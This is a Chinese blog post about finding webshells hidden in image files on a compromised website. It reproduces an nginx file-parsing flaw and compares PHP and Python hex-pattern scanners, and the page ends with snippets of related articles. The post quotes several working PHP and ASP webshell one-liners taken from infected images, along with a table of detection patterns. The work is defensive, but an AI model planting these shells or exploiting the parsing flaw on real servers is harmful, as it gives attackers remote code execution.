网站图片挂马检测及PHP与python的图片文件恶意代码检测对比

前言

周一一早网管收到来自阿里云的一堆警告,发现我们维护的一个网站下有数十个被挂马的文件。网管直接关了vsftpd,然后把警告导出邮件给我们。

取出部分大致如下:

服务器IP/名称 木马文件路径 更新时间 木马类型 状态(全部)
*.*.*.* /path/*144.gif 2017/8/7 5:53 Webshell 待处理
*.*.*.* /path/*132.jpg 2017/8/7 5:23 Webshell 待处理
*.*.*.* /path/*156.txt 2017/8/7 5:22 Webshell 待处理
*.*.*.* /path/*0304.jpg 2017/8/7 5:22 木马文件 待处理

分析

检查vsftpd后发现之前已经配置了只允许我们公司的ip访问的限制。
分析路径后发现,触发警报的文件均为同一路径下。
经过分析代码得出结论,只有通过管理端的上传图片功能或者使用管理端编辑器的图像上传功能才能将图片放入此文件夹内。
而触发木马警报的文件中有90%是交接前的文件(我们在交接时只验证了代码功能而忽视了图片安全性,失策)。

检查

path文件夹下,git内(交接之日收到的文件)的待检查加上FTP上(交接之日之后维护上传的文件)一共有1320个,分散在数个层级不等的文件夹内。
使用Notepad++检查警告中显示的图片文件后发现,木马类型为Webshell木马文件的图片或文件内含有恶意代码例如:

<%execute(request("a"))%>
<?php eval($_POST[‘a‘]);?>
<?fputs(fopen("TNT.PHP","w"),"<?eval(\$_POST[TNT]);?>")?>
<% @Page Language="Jscript"%>
<%eval(Request.Item["TNT"],"unsafe");%>

使用Notepad++的十六进制模式(需安装插件HEX-Editor)查看

验证

经查询nginx有过由于配置错误导致的文件上传漏洞,详情见Nginx文件类型错误解析漏洞
正好我的虚拟机上有nginx立刻来试一下。

虚拟机配置 版本
nginx 1.10.1
php 7.2.0-dev
  1. 首先用画图随便造个图片
  2. 使用Notepad++ Hex-Editor<?php phpinfo(); ?>插入任意角落。
  3. 将此图片传入虚拟机中
  4. 在虚拟机中编辑php的php.ini,将;cgi.fix_pathinfo=1打开
  5. 运行nginx,查看效果

经过验证可以得出,该nginx的bug是的确存在的。但是根据Nginx文件类型错误解析漏洞一文中描述,将cgi.fix_pathinfo设为0并不能阻止漏洞的发生。
使用扫描读取图片二进制字符的方式,可以预防用户上传该类图片。

过滤

先观察了数个被报警的图片,提取了被挂马图片的共同点,放入Notepad++中

<%a(a)a%>00000
<?a(a)a?>00000
<script0000000
<SCRIPT0000000
script>0000000
SCRIPT>0000000

转成十六进制

由此可以得出彼此对应的十六进制

< % ( ) % >
3c 25 28 29 25 3e

用php递归跑目录并检测二进制文本,随便选了个小一点的文件夹进行尝试。

function osWalk($path,$dirs=[])
{
    if (false != ($handle = opendir ( $path ))) {
        while ( false !== ($file = readdir ( $handle )) ) {
            if ($file != "." && $file != "..") {
                if(is_file($path.‘\\‘.$file))
                    $dirs[]=$path.‘\\‘.$file;
                else
                    $dirs=osWalk($path.‘\\‘.$file,$dirs);
            }
        }
        closedir ( $handle );
    }
    return $dirs;
}
function checkHex($img_path)
{
    if (file_exists($img_path)) {
        $resource = fopen($img_path, ‘rb‘);
        $fileSize = filesize($img_path);
        fseek($resource, 0); //把文件指针移到文件的开头
        $hexCode = bin2hex(fread($resource, $fileSize));
        fclose($resource);
        /* 匹配16进制中 <?php ?>|eval|fputs|fwrite */
        if (preg_match("/(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)/is", $hexCode))
            return true;
        else
            return false;
    } else {
        return false;
    }
}
$scan_start=microtime(true);
$qsFiles=osWalk(‘e:\path_to_image‘);
$scan_end=microtime(true);
$res=[];
$check_start=microtime(true);
foreach($qsFiles as $qs){
    if (checkHex($qs))
        $res[]=$qs;
}
$check_end=microtime(true);
echo vsprintf(‘文件总数:%d,中标文件:%d<br>扫码时间:%.2f秒,检测时间:%.2f秒<br>‘,array(
    count($qsFiles), count($res),
    $scan_end-$scan_start,
    $check_end-$check_start
));
//echo implode(‘<br>‘,$res);
#文件总数:1320,中标文件:28
#扫描时间:1.16秒,检测时间:125.50秒

觉得这样查时间有点多,用python也写了一个批量匹配

#!/usr/bin/python
# -*- coding:utf-8 -*-
import os,re,time,math;
def check_hex(img_path,p):
    with open(img_path,‘rb‘) as f:
        content=f.read();
        f.close();
    if p.search(content.encode(‘hex‘)):
        return True;
    return False;
def main():
    #<?php ?>|eval|fputs|fwrite
    p1=re.compile(‘(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)‘);
    scan_start=time.time();
    total_files=0;total_taged=[];
    for parent,dirname,filenames in os.walk(r‘E:\path_to_image‘):
        for file in filenames:
            img_path=parent+os.path.sep+file;
            total_files+=1;
            if check_hex(img_path,p1):
                total_taged.append(img_path);
    scan_end=time.time();

    print u‘扫描完成!总用时:%.2f秒。\r\n总共扫描文件数: %d,中标文件数: %d。‘%((scan_end-scan_start),total_files,len(total_taged));
    #for tag in total_taged:
    #    print tag;
    print ‘END‘;
if __name__==‘__main__‘:
    main();

#扫描完成!总用时:97.24秒。
#总共扫描文件数: 1320,中标文件数: 28。

在相同的匹配条件下python的速度比php快22.4%。

PHP与python相同情况下扫描用时对比

接着又换了一批正则试验了一下,PHP和py匹配出的中标文件数差不多,但是用时py优于PHP。
正则组合1:

<?php ?>|<% %>|eval
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)
语言 中标数 用时(秒)
PHP 956 14.81
python 958 11.58

正则组合2:

<?php ?>|<% %>|eval|exec
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)
语言 中标数 用时(秒)
PHP 956 18.40
python 958 13.85

正则组合3:

<?php ?>|<% %>|eval|exec|write|put
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)|(7772697465)|(707574)
语言 中标数 用时(秒)
PHP 961 26.74
python 963 17.90

友情赠送

使用python获取字符串的十六进制比较方便,只需

print ‘string‘.encode(‘hex‘); #737472696e67

这里放一点图片恶意代码,若有需要请随意使用

图片恶意代码 hex
\<\?php \?> 3c3f706870.*\?3f3e
\<\? \?> 3c3f.*\?3f3e
\<\% \%> 3c25.*\?253e
exec 65786563
eval 6576616c
system 73797374656d
passthru 061737374687275
fputs 6670757473
fwrite 667772697465

总结

通过这次突发事件,发现了我们在接手新项目的流程里有很大漏洞,比如不会去检测对方发来的图片有没有什么问题。也幸好有这次的事件提了个醒,举一反三赶紧把手里的项目特别是生产服务器使用nginx的先查了个遍,撸掉一大批中标文件。以后若是新接手项目,一定要检查一下图片有没有问题

备注:本文发布于2017-08-14,我github page的原文地址

时间: 2024-08-08 15:47:16

网站图片挂马检测及PHP与python的图片文件恶意代码检测对比的相关文章

怎样进行网站被挂马检测?工具有哪些呢?

使用搜索引擎搜索"网站挂马检测"我们可以看到有许多的网站挂马检测工具及网站被挂马检测工具平台.我们来看看常用的网站被挂马检测工具及在线网站被挂马检测工具平台都有那些? 360网站安全检测平台(http://webscan.360.cn): 可以免费在线检测网站.网页木马.网站后门程序.网站漏洞等.网站在线被挂马检测,不需要网站验证,但如果想看到网站安全详情,就需要网站验证. 百度云观测(http://ce.baidu.com): 可以检测网站运行状况.网站安全性.网站访问速度.网站SE

如何防止博客,网站被挂马

经营网站不容易,网站被挂马或者被挂暗链说明网站的管理权限已落入他人之手,而且网站被挂马往往来给网站带来不可估量的负面影响,最常见的就是网站用户体验变形.网站被无故植入莫名其妙的js代码,网站被降权甚至是被K,而对于网站被马之后,很多站长都不能及时的发现并处理,导致网站出现状况后才有所感概.那么站长应该如何去防范这个网站最大的杀手呢?站长如何去检查自己的网站是否被挂马了呢?下面笔者以亲身经历来谈谈如何检查网站是否被挂马的几个方法,希望对大家有所帮助. 方法: 1.对于站长检查网站是否被挂马,其中最

网站被挂马后半天内恢复正常的秘密

这两天了解到很多朋友的网站被挂马了,搜索引擎输入网站名称或者域名,就会有安全联盟的提示:该页面可能已被非法篡改!后面还写着:风险!红色的字很显眼:这的确很让人着急啊,新辰是最清楚的,因为我的网站也被挂马了,经过了半天的奋战才解决了问题,接下来新辰为朋友们介绍一下我的解封方法. 一,进入服务器,迅速查杀木马,检查程序代码 既然安全联盟提示有风险,除了很少几率的被误判外,基本上都是被挂马了.所以,新辰认为,首先应该进行木马的查杀.不过可惜,新辰以前没有重视网站的安全性,所以服务器并没有安装杀毒软件,

wordpress网站被挂马以及防御方法

wordpress本身的安全性是非常的高的,一般不会被轻易的破解,被挂马,但是我们也不能够过度迷信wordpress的安全性,凡是连接上互联网的服务器和电脑,都存在被破解的风险性.所以我们在日常维护自己的网站时,一定要注重网站的安全性,最大限度的防止网站被挂上木马. 一般来说,破解网站的途径是获取网站后台的管理员权限,从而进行修改网站文件,放置木马,这种方式是最为常见的也是最容易防御的. 防御这种破解的方式请确保做好以下的工作:? 1. 管理员账号尽量不要使用admin这种简单的用户名,密码使用

如何防止网站被侵入,如何防止网站被挂马,如何防止网站被入侵?

一:挂马预防措施: 1.建议用户通过ftp来上传.维护网页,尽量不安装asp的上传程序. 2.对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序.这其中包括各种新闻发布.商城及论坛程 序,只要可以上传文件的asp都要进行身份认证! 3.asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换. 4.到正规网站下载asp程序,下载后要对其数据库名称和存放路径进行修改,数据库文件名称也要有一定复杂性. 5.要尽量保持程序是最新版本. 6.不要在网页上加注后台管

公司网站被挂马的解决办法

**网站被挂马青岛峰会期间本来想给自己放几天假的,因为公司的网站被挂马给泡汤了,打开公司网站首页,使用浏览器的源代码功能,发现自己网站的首页多了很多×××代码,于是我连接FTP查看网站首页的代码中发现了这个挂马代码,下面我把代码贴出来 : 公司网站被挂马的×××代码解释一下:这个代码是 PHP的代码是一种条件性的挂马,上面的google soso sogou baidu 都是挂马的条件,意思就是当从 google soso...等等搜索引擎来的访问客户会自动在网页上隐藏一行代码也就是挂马代码.

网站被挂马的解决方法与分析如何会被挂马

如今绝大多数站长都在想着怎么建设外链,怎么发布网站内容,把自己网站的弄到首页或是前三位,网站被挂马的安全其实也需要站长们注意,因为一旦网站安全出了问题,网站的排名也会受到很大的影响.下面就仔细分析几种关于网站安全的现象以及处理的方法. 网站被挂马解决办法 第一种:网站被挂"黑链"篡改了页面的内容 就算百度没有更新算法,只要是碰到网站挂黑链,网站是必死无疑,一点别的可能性都没有.这可比使用作弊手法提高关键词排名来的狠多了,不过也不是没有办法预防网站被挂黑链,只要平时网站维护中,定期查看网

dede网站被挂马怎么办 很多非法网站

任何网站都可以被攻击和挂木马, 只要你的网站上在互联网上展现就可能被挂木马文件. 当我们的网站充斥着大量木马的时候怎么处理? 我的常规方法是小范围木马文件直接手工清理, 被篡改页面较多的, 下载官方织梦管理系统程序, 重新整合程序!(整合之前备份好被挂马的网站的整站数据, 源码和数据库) 首先备份数据库.模板文件.图片等附件文件,如果有二次开发,还需要备份二次开发的文件. 最好的方法是备份数据库和全部文件到本地,然后在本地重新安装官方版本的织梦,把备份的数据库.模板文件.图片等附件文件.二次开发

记网站被挂马

在某天浏览网站时,发现网站的某个路径一直被指向博彩网站. 如 www.baidu.com/shop   www.baidu.com/shop/5  www.baidu.com/shop/list/2/3 经发现,这些页面都是跳向博彩网站的页面,网站目录查看,发现网站目录下有一个目录,目录中的js跳向博彩网站,怀疑网站中了木马. 后用 WEB网页木马后门扫描器 解决了大部分. 可能的原因是中了WebShell . 防范的办法:1,网站要做放sql注入.2,上传图片.视频等文件要做权限,不能让其有操